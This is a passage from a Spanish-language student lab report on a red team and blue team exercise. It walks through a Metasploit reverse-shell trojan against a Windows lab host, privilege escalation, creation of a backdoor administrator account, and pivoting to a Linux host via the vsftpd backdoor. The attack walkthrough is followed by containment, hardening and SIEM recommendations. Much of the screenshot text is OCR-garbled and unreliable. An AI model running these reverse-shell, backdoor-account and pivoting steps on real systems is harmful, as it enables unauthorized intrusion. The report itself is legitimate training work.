Using configured payload generic/shell_reverse_tcp
msf exploit( ) » set payload windows/meterpreter/reverse_tcp
payload = windows/meterpreter/reverse_tcp
msf exploit( ) > ||

Nota. Simula operaciones con Metasploit. Fuente. Elaboracion propia.
Configuramos el payload y el handler de escucha antes de ejecutar el archivo de

Windows.
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Figura 20
Configuracion del Payload

root@kali: ~
Session Actions Edit WView Help

311 post - 49 encoders -

Document

m

command to guit
ploit(
Unknown da
LHOST 192 .16¢

LPORT 444

Nota. Simula operaciones con Payload. Fuente. Elaboracion propia.
Procedemos a ver las opciones configuradas:
Figura 21

Operaciones configuradas en Payload

root@kali: ~

Session Actions Edit View Help

module infeo with the i 1 d command .
) > show options
Payload options (windows/meterpreter/rewve
Name
XITFUNC
LHOST

LPORT

the full module info with the 3 y r i y d command .

Nota. Simula operaciones con Payload. Fuente. Elaboracion propia.
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Ahora procedemos a activar el exploit en modo escucha y esperamos a que el usuario de
Windows active €l .exe que le hemos enviado.
Figura 22

Activacion del Exploit

View the full module info with the info, or info -d command.

) > exploit

Started reverse TCP handler on 192.168.40.69:4444

Nota. Simula operaciones con Payload. Fuente. Elaboracion propia.
Ejecutamos el archivo como administrador.
Figura 23

Ejecucion del Archivo

Ll Sl 3

Integracion de r:

= Don't show agal

Autocapturar teclado...

= Don't show again

=) == =1 i’ 31 & [#] CTRL DERECHA g

Nota. Simula operaciones con Payload. Fuente. Elaboracion propia.



Pasos de Ejecucion para Explotar la Vulnerabilidad en la Maquina Windows
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Al ejecutar el archivo segiin (Pendolema Jaramillo, 2023, 02 08), implementa técnica de

analisis de ataques que al parecer en esta seccion no sucede nada, sin embargo, desde kali linux

ya tenemos acceso y capturamos la sesion:

Figura 24

Penetracion de Seguridad

£l reot(@kali: ~

Session Actions Edit View Help

EINE Current Setting Required

EXITFUNC process yes
LHOST 192.168.40.69 yes

LPORT bbbk yes

Exploit target:

Id MName

@ Wildcard Target

View the full module info with the info

msf exploit( ) > exploit

at 2025-11-17 11:36:28 -0500

meterpreter >

MeLEerpreter >

Description

Exit technique (Accepted: ', seh,
thread, process, none)

The listen address (an interface ma
y be specified)

The listen port

1 command.

- 192.168.40.16:49622)

Nota. Simula penetracion de seguridad. Fuente. Elaboracion propia.
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Al ejecutar el comando Shell podemos observar que estamos dentro de la maquina
Windows, lo que quiere decir que hemos penetrado la seguridad.
Figura 25

Evidencias de Penetracion de Seguridad

Process 4268 created.

Channel 1 created.

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights res

Z:EUSErahvagrantEDESktnphl

Nota. Simula penetracion de seguridad. Fuente. Elaboracion propia.
Ejecutando el comando dir podremos observar la lista de directorios y los archivos que
hay en la maquina de windows.
Figura 26

Ejecucion de Comandos

dir
Volume in driwve C
Volume Serial Number

Directory of

11717/
11/17
I e
@3/19/
11 /1772

75,

46,286,102,

‘\Desktop>|]

Nota. Simula ejecucion de comandos. Fuente. Elaboracion propia.



Posteriormente vemos los privilegios actuales que tenemos.

Figura 27

Privilegios de Procesos en Ejecucion

root@kali: ~
Session Actions Edit View Help

h32 MasterCard

> getid
Unknown command: getid. Did you mean getsid? Run the

er > Interrupt: use the 'exit' command to guit

Server username: VAGRANT-2 agrant
meterpreter > getprivs

Enabled Process Privileges

Name
SeBackupPrivilege
hangeNotifyPrivilege
ateGlobalPrivilege
atePagefilePrivilege
mbolicLinkPrivilege

SeIncreaseWorkingSetPrivilege

lp command for mor

Nota. Simula privilegios de procesos en ejecucion. Fuente. Elaboracion propia.
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Con el siguiente comando nos aseguramos de tener el maximo privilegio en Windows
Lo que significa que nuestro exploit funciono.Figura 28

Resultado del Exploit

) QeTSysten

. 0t systen via technique 1 (Naned Pipe Tnpersonation (In Nemory/Aduin)).

Nota. Simula resultados del exploit. Fuente. Elaboracion propia.
Creacion del Usuario Administrativo Efimero

Ahora, procedemos a crear un usuario administrativo efimero con los siguientes
comandos: net user joseChurio Pass123 /add y procedemos a darle permisos de administrador
con el comando net localgroup administrators JoseChurio /add.
Figura 29

Creacion de Usuario Administrativo Efimero

C:\Windows\system32>net user JoseChurio Passi23! /add
net user JoseChurio Pass123! /add
The command completed successfully.

C:\Windows\system32> net localgroup administrators JoseChurio /add
net localgroup administrators JoseChurio /add
The command completed successfully.

Nota. Simula creacion de usuario administrativo. Fuente. Elaboracion propia.
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Ahora verificamos que el usuario quedo con privilegios administrativos con el comando
net user JoseChurio
Figura 30

Privilegios Administrativos

JoseChurio

JoseChurio

successfu

Nota. Simula privilegios administrativos. Fuente. Elaboracion propia.
Figura 31

Usuario con Alto Privilegio

Administrator JoseChurio vagrant
Logged on

Nota. Simula privilegios administrativos. Fuente. Elaboracion propia.
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Finalmente, se presenta y se demuestra a los directivos del equipo que por medio de un
troyano se esta comprometiendo la seguridad 16gica de la identidad, debido a vulnerabilidades
de equipo dentro de la organizacion y que de manera remota puede ser atacado dentro de la
entidad, mostrando asi el usuario JoseChurio con altos privilegios administrativos.

Pivoting desde Host-A a Host-B
Por nuestro shell procedemos a identificar la red ip desde donde estamos atacando con el
comando ipconfig e identificamos la ip de nuestro host.
Figura 32

Evidencia de la Identificacion de la IP Atacando con el Comando Ipconfig

C:\Users\vagrant\Desktop>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix
Link-local IPv6 Address

IPv4 Address

Subnet Mask . . . . . . . ... L
Default Gateway

Tunnel adapter isatap.{6FEEDED4-FC1E-4857-BEB8-72167D5BDAAG}:

Media State . . . . . . . .. . . : Media disconnected
Connection-specific DNS Suffix

C:\Users\vagrant\Desktop>]|

Nota. Simula evidencia de la identificacion de la IP. Fuente. Elaboracion propia.



Posterior a identificar nuestra ip, procedemos a identificar la ip del Host-B donde
procederemos a realizar los movimientos laterales.
Figura 33

Evidencia de la Identificacion de la IP del Host

C:\Users\vagrantDesktop>ping 192.168.40.9@
ping 192.168.49.90

Pinging 192.168.408.9@

Reply from 192.168.408.98: byte time=2ms TTL=64
Reply from 192.185 @.90: byte time=5ms TTL=64
Reply from 192. @.90: byte time=1ms TTL=64
Reply from 192.168.40.98: byte time=1ms TTL=64

Ping statistics for 192.168
ts: Sent = &, FeL_ = 4, Lost = @ (@% loss),
App:anlquﬂ round trip times in milli-seconds:
Minimum = 1ms, Maximum = 5ms, Average = 2ms

C:ZUsershwvagrant\Desktop>’
Terminate channel 37 [3!N] I

Nota. Simula evidencia de la identificacion de la IP del Host. Fuente. Elaboracion propia.

Procederemos a configurar el Pivoting en la ruta del Host donde lo realizaremos.
Figura 34

Configuracion del Pivoting

Ar > un post/multi/manage/autoroute SUBNET=192,168.40.0 NETHASK=253
Huu il module against VAGRANT-2008R2 (192.168.40.16)

%ﬁanhu for auhm to autoroute.

4] Rt aed to suvet 160,16, 4.0(55.05, 2580 fonhst's utig e
teterpreter > |

Nota. Simula configuracion del Pivoting. Fuente. Elaboracion propia.
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Lo que quiere decir este mensaje es que la maquina comprometida de Windows esté
conectada a la subred 192.168.40.0/24
Figura 35

Evidencia de Maquina Comprometida de Windows

Active Routing Table

Subnet

192.168.40.0

Nota. Simula maquina comprometida de Windows. Fuente. Elaboracion propia.

Una vez realizamos esto procedemos al escaneo de puertos por el pivoting desde la
maquina Linux.
Figura 36

Escaneo de Puerto con Pivoting desde la Maquina Linux

ry( ) > set RHOSTS 192.168.40.0/24
> 192.168.40.0/24
msf auxiliary( } > set SESSION
[!] Unknown datastore option: SESSION.

ass PCAPRUB::Pcap
1 appears to be up (UNKNOWN).
1 be (CADMUS
be (UNKNOW
be ( UNKNOWN) .
be (CADMUS COMPUTER SYSTEMS).
be (UNKNOWN) .
be (UNKNOWN ) .
be (CADMUS COMPUTER SYSTEMS).
(108% comple
ry module execution completed
f auxiliary(

Nota. Simula escaneo de puerto con pivoting desde maquina Linux. Fuente. Elaboracion propia.
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El escaneo funciono a través del pivoting teniendo asi la superficie del ataque completa.
Ya realizado el pivoting, procedemos a realizar el ataque con los movimientos laterales, lo que
nos arroja lo siguiente:
Figura 37

Ataque Funcionando con Pivoting desde la Maquina Linux

ftp/vsftpd_234_backdoo

nner/portscan/tc

igured, defaul

[#*]1. Run the

4)
cify the password.
spawned, handling ...

Found
Command
-11-17 14

Nota. Simula ataque funcionando con pivoting. Fuente. Elaboracion propia.

Esto nos indica que el ataque ha funcionado lo que quiere decir que tenemos acceso al
Host-B desde el Host-A realizando movimientos laterales con el pivoting.
Identificacion de Vectores de Ataque y Hallazgos Técnicos

El analisis forense y la monitorizacion de la maquina Windows 1 permitieron identificar
los indicadores de compromiso (IoC) que facilitaron la intrusion. Los hallazgos confirman que la
falta de controles proactivos permitio el éxito de la cadena de ataque.
Analisis de Vulnerabilidades Explotadas y Persistencia

Los datos que permitieron identificar el fallo de seguridad en la maquina Windows 1-
Windows fueron los siguientes:

Ejecucion de un archivo troyano que inicio la intrusion.

Creacion de un usuario administrativo no autorizado en el sistema.
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Apertura a puertos anémalos usados para establecer el reverse Shell hacia la maquina
atacante.

Conexiones remotas sospechosas entre Windows y la Ip del atacante.

Evidencias de pivoting desde Windows hacia otras maquinas.

Respuestas en scanf ARP y port scanning, indicando actividad controlada remotamente.

Falta de controles de seguridad, lo que permitioé que el malware se ejecutara y explotara
vulnerabilidades.

Impacto y Propagacion del Ataque en la Infraestructura de Red

Como se ilustra en la Figura 37, el compromiso del Host-A (donde reside la méquina
Windows) no es un evento aislado. La intrusion desencadena una reaccion en cadena que afecta
la integridad de todo el segmento de red.

El atacante, tras obtener privilegios administrativos, utiliza el equipo comprometido
como puente para realizar movimientos laterales. Esto permite que la amenaza se propague hacia
otras maquinas con sistemas operativos diversos (como distribuciones Linux), exponiendo bases
de datos, servicios internos y la confidencialidad de la informacion corporativa. La
vulnerabilidad de un solo nodo actia como el punto de entrada para el compromiso total de la
topologia de red.

Como pudimos observar en las imagenes, una vez comprometido el Host-A donde se
alojaba la maquina Windows, se produce una cadena de efectos que compromete no solo al
equipo sino a otras maquinas Windows o, como en este caso, Linux, conectadas a la red como se

ejemplifica en la siguiente imagen.
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Figura 38

Evidencia de Afectacion de Ataque a la Maquina desde la Maquina Linux

e B

Target server

e Reverse shell

Attack Machine Target server

Nota. Simula afectacion de ataque funcionando con pivoting. Fuente. Elaboracion propia.

Asi, teniendo el control con privilegios elevados, el atacante usa el Host-A como pivoting
para desplazarse a otras maquinas dentro de la red:
Figura 39

Ataque a la Maquina

\\ =0 @

C
i T = 1 O—
Iy =

[ m—

Nodes with Nodes with Nodes with rare Nodes with incident
malicious behaviors expected behaviors behaviors but not but not part of
associated with an attack
incident

Nota. Simula ataque a la maquina. Fuente. Elaboracion propia.
El ataque afecta a las maquinas Windows porque el atacante obtiene control total del
equipo inicial, crea persistencia, roba credenciales y usa esa maquina para moverse lateralmente

y comprometer al resto de sistemas Windows de la red.
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Etapa 4 - Estrategias de Contencion y Respuesta ante Incidentes Informaticos
La fase de contencion es critica para limitar el alcance de un ataque en curso y prevenir

dafios adicionales a la infraestructura. Un enfoque profesional exige actuar con rapidez sin
comprometer la integridad de la evidencia digital necesaria para el andlisis forense posterior.
Primeros Pasos a Tener en Cuenta ante un Ataque en Tiempo Real

Ante la deteccion de una intrusion en tiempo real, segun (Parra, G. E. T., Patifio, Triana y
Rodriguez, 2024, 04 03), el primer objetivo es neutralizar la amenaza manteniendo el estado del
sistema para su estudio. La prioridad es el aislamiento 1l6gico o fisico del activo comprometido.
Contener Sin Apagar la Evidencia

La contencion debe realizarse de manera que se interrumpa la comunicacién con el
atacante (Command & Control) sin alterar los datos almacenados en la memoria volatil. En
entornos corporativos, esto se logra mediante la desconexion fisica del puerto en el switch o la
implementacion de Listas de Control de Acceso (ACL) que restrinjan todo el trafico entrante y
saliente, permitiendo Unicamente la conexion desde estaciones de administracion forense.

Aislar la maquina de la red, pero mantenerla encendida, en un entorno real, se debe de
desconectar el cable del switch o aplicar los comandos ACL’s que bloqueen todo el trafico
entrante y saliente. También es importante no apagar el equipo, puesto que la RAM, las
conexiones abiertas y procesos en ejecucion son evidencias valiosas.
Observacion del Sistema Operativo

Dentro de la maquina Windows podemos ejecutar los siguientes comandos para saber el
tipo de conexiones que tenemos activas, ejem: neststat -ano. Nos da los puertos abiertos y las

conexiones:
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Figura 40

Observacion de Puertos

S| M, £ T e -
Nota. Simula observacion de puerto. Fuente. Elaboracion propia.

Aqui podremos observar todas las conexiones de los diferentes puertos, podremos buscar
las conexiones raras a la IP del atacante. También esta el comando tasklist /svc donde podremos
observar algun proceso sospechoso:

Figura 41

Observacion de Puertos sospechosos

C:\Users\vagrant>tasklist /sue

Inage MName

DecomLaunch, PlugPlay. Power
UBoxService

RpcEptMapper, RpeSs

Dhcp, eventlog. lmhosts

CertPropSuc, gpsvc, IKEEXT, iphlpsuc,.
LanmanServer. ProfSuc., Schedule. SENS,
SessionEnv,. ShellHWDetection, Winmgmt.

Windows Server 2008 R2 Standard

10:16 AM

2B [ b 11{2?,’2025!

Nota. Simula observacion de puertos sospechosos. Fuente. Elaboracion propia.



Ademas, podremos observar con el comando ‘query user/whoami’.
Figura 42

Observacion de Comando Whoami

P

Recyde Bin for

5+ Admiinistrator: Command Prompt

C:slUsers‘wagrant Jwhoani
vagrant—-2088r2\wagrant

C:slserssvagrant >

DesktopCentral

tarjetas. txt

Activadarsh... Windows Server 2008 R2 Standard

Windows License is expired
Build 7601

T oz is not genuine

, A N | e 10:21 AM
Dt & Z 3 s fbﬁD“ﬂmZSE

Nota. Simula observacion de puertos sospechosos. Fuente. Elaboracion propia.

Activamos en consola el comando ‘services.msc’ para encontrar algin servicio extrafio

(ManageSearch, etc) y ver si hay usuarios nuevos o sesiones remotas.
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Figura 43

Activacion de Comando para Encontrar Servicios Sospechosos

) =10/
File Acton View Help
@9 |5 E o= HE > EnDp
Services (Local) & Services (Local)
- - . - [AErS |hnnniann Cbmtim Cbmrdim Toime |Im-| i 8 e
e Select Administrator: Command Prompt o
tem
C:\lsers\wagrant dschtasks /query tem
vice
—=D=S=SDDD=D=D=D=D=D==== === ==== === —========= TEm
vice
tem
5
____________________________________ tem
________________________________ vice
tem
tem
—=—============== === ==== === =—========= \v'iEE
INFO: There are no scheduled tasks presently availahle at your access level. tem
Folder: “Microsoft\WindowsMictive Directory Rights Management Services Client {em
Mext Run Time Status tem
AD RMS Rights Policy Template Management Disahled 2
AD RMS Rights Policy Template Management NAA tem
tem
DHCP Client Registersa.. Started  Automatic Local Service
Diagnostic Palicy Se... TheDiagno.., Started  Automatic (.. Local Service =
{ L
\\Extended /{ Standard /

1 A w -l o 10:30 AM
[Tstart :J"?j' a " ﬁ GG s

Nota. Simula activacién de comando para encontrar servicios sospechosos. Fuente. Elaboracion

propia.
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Observacion del Trdfico en la Red

También, con herramientas segun el apartado (Wireshardk Foundation, 2023, 04 28),
podemos capturar el trafico de la Ip de la maquina Windows en tiempo real. Detectando asi los
protocolos de transmision y por medio de que puertos.
Figura 44

Captura de Trafico con Wireshark

ot | a = O = e e O VGEaS A eaw tSang

Nota. Simula trafico con Wireshark. Fuente. Elaboracion propia.

Asi podremos saber si hay reverse shells, conexiones a puertos no estandar. Aparte de las
primeras secuencias y protocolos realizados para contener el ataque, también es importante
documentar desde el primer minuto las IPs, comandos ejecutados y capturas de pantalla.
Medidas de Hardenizacion para Evitar que se Repita el Ataque

Para saber qué medidas debemos tomar, primero debemos enfocarnos en lo que

significaba ‘Hardenizacion’ y como funciona.
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Hardenizacion

Es el proceso de mejora en cuanto a la seguridad de un sistema informatico. Se hace
mediante la reduccion de posibles vulnerabilidades que tenga el atacante de aprovechar,
eliminando y aplicando configuraciones de seguridad robustas.

Basandonos en el ataque anterior, en el que se utilizé un Shell en el escritorio con una
conexion externa, creando un usuario administrador, procedemos a realizar lo siguiente:
Gestion de Cuentas y Privilegios

Eliminar las cuentas locales innecesarias y asi revisar periddicamente usuarios en grupos
Administradores.

Principios de minimo privilegio: los usuarios normales sin permisos de instalar software
ni ejecutar .exe desde el escritorio.

Control de Ejecucion de Programas

Usar AppLocker o algtn software de politicas de restriccion para impedir que se ejecuten
archivos .exe desde el escritorio, descargar, etc.

Solo permitir la ejecucion desde programa Files y rutas ya establecidas.
Endurecimiento de Servicios

Desinstalar o deshabilitar servicios no necesarios (ElasticSearch, ManageEngine) si
realmente no son criticos para el funcionamiento normal de Windows.

Deshabilitar protocolos inseguros que no se estén usando o ejecutando.

Firewall y Reglas de Salida
Configurar el firewall de Windows para bloquear todas las conexiones salientes por

defecto y permitir solo las necesarias (HTTP/HTTPS)
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Bloquear los puertos tipicos de shells, los cuales serian el 4444 que como vemos, fue por
donde ingresaron los atacantes.
Auditoria

Habilitar la auditoria de la creacion de cuentas de usuarios y administradores

Revisar periodicamente el visor de eventos y centralizar logs en un solo servidor

Mantener Windows y aplicaciones parcheadas

Usar antivirus gratuito o de licencia libre donde sea posible para ciertos escenarios.
Diferencia entre Blue team y el Equipo de Respuesta a Incidentes

La principal diferencia radica en que el equipo blue team se enfoca en la defensa continua
segun el autor (Afiasco Bedon, 2021, 04 02), en el que proporciona la realizacion:

Hardening de sistemas.

Configuracion de firewalls y controles de acceso.

Monitoreo de logs y alertas.

Deteccion temprana (IDS/IPS, SIEM).

Su trabajo es preventivo y a la vez proactivo, reduciendo la superficie del ataque y
detectando de manera oportuna anomalias que pueden convertirse en incidentes mayores.

En cambio, el Equipo de respuesta a incidentes Actlia a partir de que el incidente este
ocurriendo en tiempo real, detectando asi:

Contencion (aislar equipos, bloquear cuentas).

Erradicacion (eliminar malware, cerrar vectores de entrada).

Recuperacion (restaurar servicios, aplicar parches).

Analisis forense y lecciones aprendidas.
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Si bien su trabajo se encarga de la reaccion en cuanto a defensa, generan
recomendaciones a partir del incidente que alimenta al Blue Team.
Herramientas CIS “Center for Internet Segurity”

Si dentro de un equipo Blue Team se ha indicado la directriz de que se debe trabajar con
CIS, segun el autor (Ogden J, 2020, 05 21), principalmente como guia en el marco de referencia
para evaluar, fortalecer y estandarizar la seguridad de los sistemas de la organizacion, siguiendo
practicas ampliamente aceptadas y disefiadas para reducir la superficie de ataque.

El uso de los estandares de CIS permite establecer una linea base de seguridad reconocida
internacionalmente. Como estrategia del Blue Team, estas herramientas se emplean para reducir
la superficie de ataque mediante dos enfoques complementarios:

CIS Controls

Se utilizan como una guia de priorizacion para el plan de seguridad. Permiten estructurar
la defensa en fases, comenzando con el inventario de activos y el control de cuentas, seguidos
por el hardening y el monitoreo continuo.

CIS Benchmarks

Son fundamentales para el endurecimiento de sistemas especificos. En este laboratorio, se
aplican para convertir las recomendaciones en checklists técnicas de Windows (politicas de
contrasefas, servicios deshabilitados y configuracion de firewall), permitiendo cerrar brechas de
seguridad criticas.

Para hardenizar sistemas concretos:

Descargar el benchmark de Windows 8 / Windows 10 y convertirlo en una checklist:

Politicas de contrasena.

Servicios que deben estar deshabilitados.



Configuracion de firewall.

Auditorias minimas recomendadas.

Comparar la maquina Windows del laboratorio contra el benchmark y cerrar brechas.

CIS provee los CIS Benchmarks, que son guias detalladas y especificas para:
Windows (incluyendo Windows 8/10/11, Server).

Linux (Ubuntu, Debian, CentOS)

Bases de datos (MySQL, SQL Server)

Navegadores web

Cloud (AWS, Azure, GCP)

Como Blue Team, el uso de estas guias es importante para:

Deshabilitar servicios inseguros o innecesarios.

Configurar el firewall adecuadamente.

Aplicar controles estrictos de autenticacion.

Bloquear ejecucion de software no autorizado.

Activar auditorias y logging seguro.

Endurecer protocolos de red y cifrado.
Establecer Controles de Seguridad Prioritarios

CIS también ofrece los CIS Critical Security Controls, un conjunto de 18 controles
clasificados en tres fases:
Basic

Controles indispensables como el inventario de hardware/software y andlisis de
vulnerabilidades. Lo minimo indispensable (inventario, control de cuentas, andlisis de

vulnerabilidades).
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Foundational
Lo que refuerza la postura mediante monitoreo, firewalls y proteccion de correo.

Organizational
Gestion avanzada que incluye capacitacion, respuesta a incidentes y pruebas de penetracion.

Como Blue Team, serian utilizados para:

Saber qué implementar primero para proteger la organizacion.

Medir el nivel actual de madurez en seguridad.

Priorizar esfuerzos seglin riesgo real y recursos disponibles.
Funciones y Caracteristicas Principales de un SIEM

El despliegue de una plataforma SIEM (Security Information and Event Management) es
fundamental para centralizar la visibilidad de la infraestructura y permitir una respuesta
coordinada ante incidentes. Su arquitectura permite transformar grandes volumenes de datos
crudos en inteligencia accionable para el Blue Team.
Arquitectura Funcional y Operatividad Técnica

Un SIEM robusto debe cumplir con funciones de centralizacion de logs desde fuentes
heterogéneas (Windows, Linux, Firewalls). La potencia del sistema reside en la normalizacion y
correlacion, permitiendo identificar ataques complejos, como la deteccion de multiples intentos
fallidos seguidos de un login exitoso desde una IP externa sospechosa. Esto facilita no solo la
generacion de alertas en tiempo real, sino también el cumplimiento normativo (ISO 27001) y la
investigacion forense mediante el andlisis de datos historicos.

Permite investigar incidentes pasados: “;qué hizo esta IP hace 3 dias?”, “;cuando se cred

este usuario?”.



71

Crear politicas y estandares internos

CIS permite crear politicas formales de seguridad, como, por ejemplo:

Politica de contrasefias.

Politica de acceso remoto.

Politica de instalacion de software.

Politica de monitoreo.

Politica de backups.

Permitiendo unificar asi, criterior entre los equipos no solo de Blue Team, También de
IT, DevOps. Demostrando un cumplimiento ante auditorias internas o externas.

Herramienta de Contencion de Ataques (Hardware y Software)

La contencion técnica busca neutralizar la capacidad de maniobra de la atacante una vez
detectada la intrusion. Es vital diferenciar la deteccion (IDS/Antivirus) de la contencion, la cual
bloquea o limita el impacto de la amenaza. Primero debemos aclarar la diferencia entre
contencion y deteccion de ataques, generalmente la deteccion de ataques lo hacen las IDS y
antivirus, pero la contencion es lo que bloquea o limita el ataque una vez se ha detectado, ya sea
por un antivirus o por el equipo Blue Team.

Herramientas de Software Libre para Contencion de Ataques

La contencion técnica busca neutralizar la capacidad de maniobra de la atacante una vez
detectada la intrusion. El uso de herramientas de codigo abierto permite establecer barreras tanto
a nivel de red como a nivel de Aost, garantizando la interrupcion de los canales de comunicacion
maliciosos. Todas estas medidas permiten aislar la maquina del resto de la red sin necesidad de

apagarla.
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Para organizar las herramientas utilizadas y su aplicacion especifica en el escenario de

laboratorio, se presenta la siguiente tabla técnica:

Tabla 4

Soluciones de Firewalling para la Contencion y Aislamiento de Activos

Herramienta  Clasificacion Funcionalidad en el Justificacion Técnica de
Laboratorio Contencion

Iptables / Firewall de red Configuracion de reglas en  Interrupcion del canal de

Nftables (Kernel Linux) el gateway para bloquear la Comando y Control (C2) en
IP del atacante y puertos de las capas 3 y 4 del modelo
Shell (4444, 8080). OSIL.

Windows Firewall de Host  Bloqueo de trafico saliente ~ Aislamiento logico del

Firewall (Stateful hacia la IP de Kali Linuxy  equipo comprometido,

Inspection) restriccion de procesos no impidiendo la exfiltracion

autorizados.

de datos y el movimiento

lateral.

Nota. El uso de herramientas basadas en el kernel de Linux (GPL) asegura un filtrado de alto
rendimiento con bajo consumo de recursos. Fuente: Elaboracion propia.
Mecanismos de Aislamiento sin Pérdida de Evidencia

La aplicacion de estas medidas permite lo que en respuesta a incidentes se denomina
"Aislamiento Logico en Caliente". Al utilizar iptables o el Firewall de Windows para cortar las

conexiones de red, el especialista logra:
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Cesar la persistencia del atacante, al cerrar los puertos usados por la reverse shell, el
atacante pierde el control remoto de forma inmediata.

Mitigar el impacto, se evita que el malware intente conectarse a otros servidores internos
(pivoting).

Preservar la Memoria RAM, a diferencia de una desconexion fisica total o un apagado, el
aislamiento por software permite mantener los procesos del atacante "congelados" en memoria
para su posterior analisis forense (Memory Dump).

Relacion con Aspectos Legales y Eticos

En relacion con los equipos estratégicos de simulacion de ataques red team y de defensa
blue team establecen operatividad de cumplimiento de las normas en aspectos legales con el fin
de garantizar los principios éticos y morales en la organizacion responsablemente aceptables
tales como:

Integridad

Se establece la proteccion y legalidad antes los miembros de la ley el cual cumple los
requisitos de defensa cibernéticas en la que incorpora técnicas avanzadas contra amenazas y
minimizando cualquier impacto que se produzca a gran escala sin dejar que ocasiones dafios ni
perdidas en la informacion.

Confidencialidad

Mantienen la confidencialidad y confianza en la ética en cuanto actividades legales,

confianza entre los usuarios con el fin de establecer seguridad en la organizacion sistematica

garantizando la transparencia en la que exige los sistemas legislativos.
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Disponibilidad
Dispone los procedimientos establecidos por la ética y entes legales representados en la
politica de seguridad de la informacion con el fin de llevar los procedimientos seguros en la

informacion con aceptacion legales a otras organizaciones tecnoldgicas para seguir la

continuidad eficazmente segura en la que se garantiza toda informacion sistematica.



Evidencia de Sustentacion
En cumplimiento de la etapa 5 del seminario Especializado presento el video de
sustentacion con el siguiente enlace:

https://voutu.be/Hz1{40In22s
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https://youtu.be/Hz1f4Oln22s
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Conclusiones

El uso de herramientas como Nmap y Metasploit permiti6 validar que la falta de
segmentacion de red facilita el movimiento lateral (pivoting) desde sistemas Windows hacia
otros activos.

Se determiné que el contrato de SecureNova Labs infringe directamente la Ley 1273 de
2009, ya que obliga al profesional a omitir la denuncia de delitos informaticos, lo cual anularia la
tarjeta profesional segun el codigo de ética del COPNIA.

Finalizaremos este informe técnico de resultados obtenidos a través de las fases de las
practicas obtenidas con técnicas ofensivas durante las practicas de escaneo en busquedas de
vulnerabilidades y amenazas dados en los equipos estratégicos de simulacion red team y blue
team en tiempo real el cual desarrollan habilidades para encontrar amenazas detectadas por el
escaneo de seguridad y respuestas segura a los incidentes de seguridad.

El estudio y practicas de los procesos continuo es necesario su comprension estructural
en las acciones de enfoques entorno a la ciberseguridad representados en los procedimientos de
endurecimiento de las defensa de los controles internos de una organizacion, el cual se basa en
los reglamentos de las normas ISO y NIST, ya que permite el esclarecimiento y fortalecimiento
funcional a las estructuras protectoras de la seguridad general en contra de los ataques

cibernéticos que es el mayor riesgo a nuestros sistemas de informacion.
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Recomendaciones

De acuerdo con la estructura de los avances de trabajos informaticos recomendamos
implementar técnicas con equipos estratégicos de simulacion red team y blue team en cual
responde a los incidentes de seguridad con exactitud y eficaz en la organizacion llevando
privilegios entorno a la seguridad respecto a la reglamentacion estandarizada por las normas
legales ISO y NIST constituidas en leyes y principios de ética de la seguridad de la informacion.

Es importante las técnicas e implementacion de los controles interno de las empresas en
defensa de la seguridad ya que integrando sus operaciones logran evidenciar soluciones que
refleja los ciberdelincuentes el cual comprometen el software y el hardware al momento que
penetre un ataque gracias a esta reaccion se logra evadir los riesgos que se puedan presentar en
estas acciones delictivas.

Se recomienda hacer procedimientos y monitoreo continuo con estas herramientas
tecnologicas ya que se comprueba minimizar cualquiera amenaza y hallazgos malicioso que
intente penetrar a los sistemas operativos dando reaccion inmediata a los incidentes ocasionados
expuestas por los ciberdelincuentes.

Tras el andlisis técnico y la simulacion de intrusion realizada, se proponen las siguientes
acciones correctivas y preventivas para mitigar los vectores de ataque identificados y robustecer
la defensa de la infraestructura.

Despliegue de Capacidades de Deteccion y Respuesta (Blue Team) (Titulo Nivel 2)

Implementacion de soluciones EDR y SIEM: Se recomienda la integracion de un sistema
de Gestion de Eventos e Informacion de Seguridad (SIEM) junto con herramientas de Deteccion
y Respuesta en los Puntos Finales (EDR). Estos sistemas permiten la correlacion de eventos y la

deteccion de Indicadores de Compromiso (IoC) en tiempo real, tales como la creacion de
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usuarios administrativos no autorizados o la ejecucion de procesos anomalos detectados en este
informe.

Endurecimiento de Sistemas Operativos (Hardening de Windows): Es imperativo aplicar
directivas de endurecimiento mediante GPO (Objetos de Directiva de Grupo) para restringir la
ejecucion de archivos ejecutables no firmados (como el troyano analizado en la fase de
explotacion). Asimismo, se debe aplicar el cierre de puertos criticos que no sean indispensables
para la operacion, reduciendo asi la superficie de ataque.

Adopcion de Marcos de Referencia NIST e ISO/IEC 27001: Se sugiere alinear las
operaciones de ciberseguridad con el marco de trabajo de NIST (National Institute of Standards
and Technology) para la respuesta a incidentes. Esto garantiza que la organizacion no solo
reaccione a los ataques, sino que mantenga un ciclo constante de identificacion, proteccion,
deteccion, respuesta y recuperacion.

Institucionalizacion de Ejercicios Red Team y Blue Team: En lugar de realizar auditorias
esporadicas, se recomienda establecer un programa de simulacros periddicos. La sinergia entre el
equipo ofensivo (Red Team) y el defensivo (Blue Team) permite validar la efectividad de los
controles internos y capacitar al personal técnico frente a nuevas tacticas, técnicas y

procedimientos (TTP) de los ciberdelincuentes.
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